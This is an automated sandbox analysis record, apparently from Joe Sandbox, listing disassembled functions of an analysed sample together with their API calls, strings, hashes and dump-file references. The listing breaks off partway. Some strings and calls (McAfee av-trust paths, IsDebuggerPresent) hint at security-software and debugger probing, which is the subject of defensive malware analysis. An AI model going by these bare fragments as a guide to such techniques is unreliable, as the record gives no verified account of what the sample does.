Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: AddressProc$ErrorLast
String ID:
API String ID: 4214558900-0
Opcode ID: 1adffce1487e78720c765d71a8c581d577efc13abd2b886eede52aacb4c8d431
Instruction ID: c8883a0721b3cc25db747a9587e6ca382898a03ed3db371592895f5c7f91c0d5
Opcode Fuzzy Hash: 1adffce1487e78720c765d71a8c581d577efc13abd2b886eede52aacb4c8d431
Instruction Fuzzy Hash: 5BF18F70E042499FDB05CBA8C9587AEBFF0AF45304F1480BED855E7391DFB98A449B4A

Function 00403B80 Relevance: 24.3, APIs: 16, Instructions: 291libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,0044CC40), ref: 00403BDA
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 00403C1D
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 00403C5E
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 00403C9F
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 00403CE0
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 00403D21
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 00403D62
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 00403DA3
GetLastError.KERNEL32 ref: 00403DF0
GetLastError.KERNEL32 ref: 00403E12

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: AddressProc$ErrorLast
String ID:
API String ID: 4214558900-0
Opcode ID: 0be5edf2164177abd05aded27aead2eb1616ead2f83080db426ed3bcc5922c63
Instruction ID: 8d46bfac799fa5dd1136b00e3de5451d4e1225cddf1ac0e51e89de3b4dacaf61
Opcode Fuzzy Hash: 0be5edf2164177abd05aded27aead2eb1616ead2f83080db426ed3bcc5922c63
Instruction Fuzzy Hash: 7FC14674E04249AFDB04CFA8C8587AEBFF1AF89305F1480BAD815E7381DB799A44CB55

Function 0040CB80 Relevance: 23.3, APIs: 6, Strings: 7, Instructions: 514nativememoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00425D49: RtlEnterCriticalSection.NTDLL(00464694), ref: 00425D54
Part of subcall function 00425D49: RtlLeaveCriticalSection.NTDLL(00464694), ref: 00425D91

NtQuerySystemInformation.NTDLL ref: 0040CC39
SysAllocStringLen.OLEAUT32(av.cache.set,0000000C), ref: 0040D0ED
GetCurrentProcessId.KERNEL32 ref: 0040D100
GetLastError.KERNEL32 ref: 0040D135
NtQueryInformationProcess.NTDLL ref: 0040D197
CloseHandle.KERNEL32(?), ref: 0040D1D0

Strings

`F, xrefs: 0040D363
`F, xrefs: 0040D3AD
C:\ProgramData, xrefs: 0040D319
av.cache.set, xrefs: 0040D0DD
gfff, xrefs: 0040CD5D
`F, xrefs: 0040D2F4
McAfee\WPS\content\av-trust, xrefs: 0040CFE9

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: CriticalInformationProcessQuerySection$AllocCloseCurrentEnterErrorHandleLastLeaveStringSystem
String ID: C:\ProgramData$McAfee\WPS\content\av-trust$av.cache.set$gfff$`F$`F$`F
API String ID: 3417838304-1905723352
Opcode ID: e369764306d7ec5fcce8cb91f22b9e0fe9f0b5e0e7d819f7a3608364a3440ffe
Instruction ID: 557801c9ed5a1b5dfbe99d658821c1afb5e5069ab4332f6818c706913a837c1b
Opcode Fuzzy Hash: e369764306d7ec5fcce8cb91f22b9e0fe9f0b5e0e7d819f7a3608364a3440ffe
Instruction Fuzzy Hash: 6022D570E00259CBEB14CF64DD45B9DBBB1AF45304F1082AED409AB3D1DBB95A88CF5A

Function 003EA720 Relevance: 23.1, APIs: 10, Strings: 3, Instructions: 395memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 003F4E70: __Mtx_init_in_situ.LIBCPMT ref: 003F4ECC

SysAllocStringLen.OLEAUT32(00000000,?), ref: 003EA7D4
GetCurrentThreadId.KERNEL32 ref: 003EA8B2
SysFreeString.OLEAUT32(?), ref: 003EA8F1
SysFreeString.OLEAUT32(?), ref: 003EA8FE
SysFreeString.OLEAUT32(?), ref: 003EA90B
SysAllocStringLen.OLEAUT32(00000000,?), ref: 003EAB12

Part of subcall function 003FFE90: QueryUnbiasedInterruptTimePrecise.KERNELBASE ref: 003FFEFD

Part of subcall function 003E7C00: SysAllocStringLen.OLEAUT32(00000000,00000014), ref: 003E7C16

GetCurrentThreadId.KERNEL32 ref: 003EABD9
SysFreeString.OLEAUT32(?), ref: 003EAC18
SysFreeString.OLEAUT32(?), ref: 003EAC25
SysFreeString.OLEAUT32(?), ref: 003EAC32

Strings

set setting, xrefs: 003EA8D2
dummy, xrefs: 003EA876, 003EAB9A
publish, xrefs: 003EABF9

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: String$Free$Alloc$CurrentThread$InterruptMtx_init_in_situPreciseQueryTimeUnbiased
String ID: dummy$publish$set setting
API String ID: 2464836827-992586687
Opcode ID: cb84abc3007cf75167627df21fe3a557215f32e0addce101a58d224d4a3c15af
Instruction ID: 4c31ebbe5164b97b9aded68bd8efabc163093345bd8e531f3ed4a7f831b1374c
Opcode Fuzzy Hash: cb84abc3007cf75167627df21fe3a557215f32e0addce101a58d224d4a3c15af
Instruction Fuzzy Hash: 4BF14B74E002689FDB11DFA9D945B9EBBF4BF48300F1042AAE809AB381DB74AD44CF51

Function 004351C8 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 004353AC

Strings

1#IND, xrefs: 004352CD
1#QNAN, xrefs: 004352DB
1#INF, xrefs: 004352FE
1#SNAN, xrefs: 004352D4

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 1c06e3e76cfb86a2d3bf3c2f51d39fee2ae069990c49878135c4ee9f301804de
Instruction ID: 6a3e3af5a8343fc181485e235d63693ca0ad382d1900c06edb468acef706dde2
Opcode Fuzzy Hash: 1c06e3e76cfb86a2d3bf3c2f51d39fee2ae069990c49878135c4ee9f301804de
Instruction Fuzzy Hash: E5D24671E086299FDB25CE28DD407EAB7B5EB48305F1551EBD80DE3240EB38AE818F45

Function 003E40C0 Relevance: 7.7, APIs: 5, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,?), ref: 003E418A
RtlAllocateHeap.NTDLL(00000000), ref: 003E4191
GetProcessHeap.KERNEL32(00000000), ref: 003E41A9
GetProcessHeap.KERNEL32 ref: 003E41BA
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 003E41C4

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Heap$Process$AllocateFree
String ID:
API String ID: 576844849-0
Opcode ID: 54f41ab77575d6a7d7e9ab1daafb62973049ae85692751143112babd5837e769
Instruction ID: 98ea42b23bc606e2e7eb72582532de06d2e8e214526c32993522cf57841c8abf
Opcode Fuzzy Hash: 54f41ab77575d6a7d7e9ab1daafb62973049ae85692751143112babd5837e769
Instruction Fuzzy Hash: 4371B174A00656EFCF16CF26D840BA9BBB5FF49304F158268E9099B781D331ED55CB90

Function 00424DA6 Relevance: 7.6, APIs: 5, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

FindClose.KERNEL32(000000FF,?,00424DD5,0044D0B8,?,?,?,00404EBB,?,?,?,00000000,0044D0B8,00000001,A05DD77D), ref: 00424DB2
FindFirstFileExW.KERNEL32(000000FF,00000001,A05DD77D,00000000,00000000,00000000,0044D0B8,?,0044D0B8,?,?,00424DD5,0044D0B8,?,?), ref: 00424DE2
GetLastError.KERNEL32(?,?,00424DD5,0044D0B8,?,?,?,00404EBB,?,?,?,00000000,0044D0B8,00000001,A05DD77D), ref: 00424DEF
FindFirstFileExW.KERNEL32(000000FF,00000000,A05DD77D,00000000,00000000,00000000,?,?,00424DD5,0044D0B8,?,?,?,00404EBB,?,?), ref: 00424E09
GetLastError.KERNEL32(?,?,00424DD5,0044D0B8,?,?,?,00404EBB,?,?,?,00000000,0044D0B8,00000001,A05DD77D), ref: 00424E16

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Find$ErrorFileFirstLast$Close
String ID:
API String ID: 569926201-0
Opcode ID: dc96b7a948804a6033a1f317271107757ea0bbc7c7394316982955a5bc7d8fda
Instruction ID: 70354fddefb58ddecc33389a410f9501c96ddc104be17cafe4f3d42f4e8324ee
Opcode Fuzzy Hash: dc96b7a948804a6033a1f317271107757ea0bbc7c7394316982955a5bc7d8fda
Instruction Fuzzy Hash: A7019E35210164BBCB202FB6FC0CD5B3F79FFC2B20B50462AFA65851E0CB718861DA68

Function 00434D40 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 449COMMON

Download Yara Rule

Strings

tdC, xrefs: 00435083, 00435061
tdC, xrefs: 00434D5B, 00434EDE, 00435107, 004350A0, 00434F2D

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID:
String ID: tdC$tdC
API String ID: 0-2609971967
Opcode ID: 3c6720fed5e96a56802081afed2282991f16dd102909b62614c51dfe3dbb8ed7
Instruction ID: 8baf5df189be52ffa19095fe4dddbf4b3d7016435fb02c062bf73e905c229ca4
Opcode Fuzzy Hash: 3c6720fed5e96a56802081afed2282991f16dd102909b62614c51dfe3dbb8ed7
Instruction Fuzzy Hash: 3EF15071E006199FDF14CFA9D880AAEF7B1FF88314F15926AE815A7380D735AD01CB94

Function 0041C012 Relevance: 6.6, APIs: 4, Instructions: 553memoryCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0041C012
LocalAlloc.KERNEL32(00000000,00000000,?,00000000,00000000,?,A05DD77D,00000000,?), ref: 0041C028
LocalFree.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,?,A05DD77D,00000000,?), ref: 0041C17E
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,00000000,00000000,?,A05DD77D,00000000,?), ref: 0041C1D9
Concurrency::cancel_current_task.LIBCPMT ref: 0041C204

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ErrorLastLocal$AllocConcurrency::cancel_current_taskFree
String ID:
API String ID: 926668463-0
Opcode ID: 208a84c88c0f1730c638b45db1c17205a98904e9599fb2dacbb9fc88db93ab42
Instruction ID: 962ba9e09d122791b40066764bfe7f98a7bbc60f6bc9c1e17e29aa9486b17a4d
Opcode Fuzzy Hash: 208a84c88c0f1730c638b45db1c17205a98904e9599fb2dacbb9fc88db93ab42
Instruction Fuzzy Hash: 35328CB1E002198FDB14CF68C9947EEFBB1BF49304F14816AD459A7381D738AA85CF99

Function 0043044A Relevance: 6.3, APIs: 4, Instructions: 337COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 004304D7

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 519a4bbb09685210bb18ff8d162f577835aa1f0a1d3ca9cd9c92e5198af6fdba
Instruction ID: 6208f264bd96c960831a51a71cccac832441a3deddb1749bf7e63b3e2cb42d69
Opcode Fuzzy Hash: 519a4bbb09685210bb18ff8d162f577835aa1f0a1d3ca9cd9c92e5198af6fdba
Instruction Fuzzy Hash: 3BB135329002559FDB15CF28C8A1BEEBBA5EF5D314F14926BE815AB341D23CDD01CBA9

Function 00426602 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0042660E
IsDebuggerPresent.KERNEL32 ref: 004266DA
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004266FA
UnhandledExceptionFilter.KERNEL32(?), ref: 00426704

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 99b749b4c23a0372566dcd9fd4dc845c2fb32dd57bf8318ca9f0ffeb8e337bf0
Instruction ID: a82c3760a6ab8bfab62373b10b7095e37bda32351f50b1748f4796adc768ac66
Opcode Fuzzy Hash: 99b749b4c23a0372566dcd9fd4dc845c2fb32dd57bf8318ca9f0ffeb8e337bf0
Instruction Fuzzy Hash: C1312B75D4532C9BDB10DF64E989BCDBBB8AF08304F5040EAE50DAB250EB759A848F09

Function 00428FA3 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 0042909B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 004290A5
UnhandledExceptionFilter.KERNEL32(-00000327,?,?,?,?,?,00000000), ref: 004290B2

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: b213717609e6658d44c948d36fca8b4756e98b17e9e7c5cca8b300ea6e1cc35b
Instruction ID: 6b08f9915b07e0e8d52bad2dc6f3aa6ed3274d1294e6d9fca1ce475895b9ac51
Opcode Fuzzy Hash: b213717609e6658d44c948d36fca8b4756e98b17e9e7c5cca8b300ea6e1cc35b
Instruction Fuzzy Hash: E631C77494122C9BCB21DF29EC8978DBBB8BF08314F5041EAE51CA7251EB749F858F49

Function 0040A190 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 379nativethreadCOMMON

Download Yara Rule

APIs

NtQueryInformationThread.NTDLL(?,?), ref: 0040A267

Strings

`F, xrefs: 0040A7A3

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: InformationQueryThread
String ID: `F
API String ID: 741662350-510860190
Opcode ID: cad7c4a8a11764e7206483273463ae4e5f5c90f279c51f1d64dcac72bc62a2a6
Instruction ID: 4f84e763385abcff93eebd2034bcd81d798d03b0a369463097fac9962f46e657
Opcode Fuzzy Hash: cad7c4a8a11764e7206483273463ae4e5f5c90f279c51f1d64dcac72bc62a2a6
Instruction Fuzzy Hash: 7A025B74A002288FDB25CF28C8547DABBB1BF4A304F0482EAD84DA7391DB755E95CF95

Function 00405AD0 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 161filenativeCOMMON

Download Yara Rule

APIs

NtQueryFullAttributesFile.NTDLL ref: 00405C00

Strings

`F, xrefs: 00405CFD

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: AttributesFileFullQuery
String ID: `F
API String ID: 3545844373-510860190
Opcode ID: c82a591059207ad81dc77ec4763afcdd7b677faa4973f9135b0cbad2664510ae
Instruction ID: 905df4a0714638a9d8b6f9dac6277ad69cf66fb1334f20b1e0a44fc1bfba48b1
Opcode Fuzzy Hash: c82a591059207ad81dc77ec4763afcdd7b677faa4973f9135b0cbad2664510ae
Instruction Fuzzy Hash: FD617EB1D047589BEB10CF54C8817EEBBB4FF49304F1441AAD909B7281EB78AA84CF95

Function 00405480 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 77filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL ref: 0040551E

Strings

`F, xrefs: 00405538

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
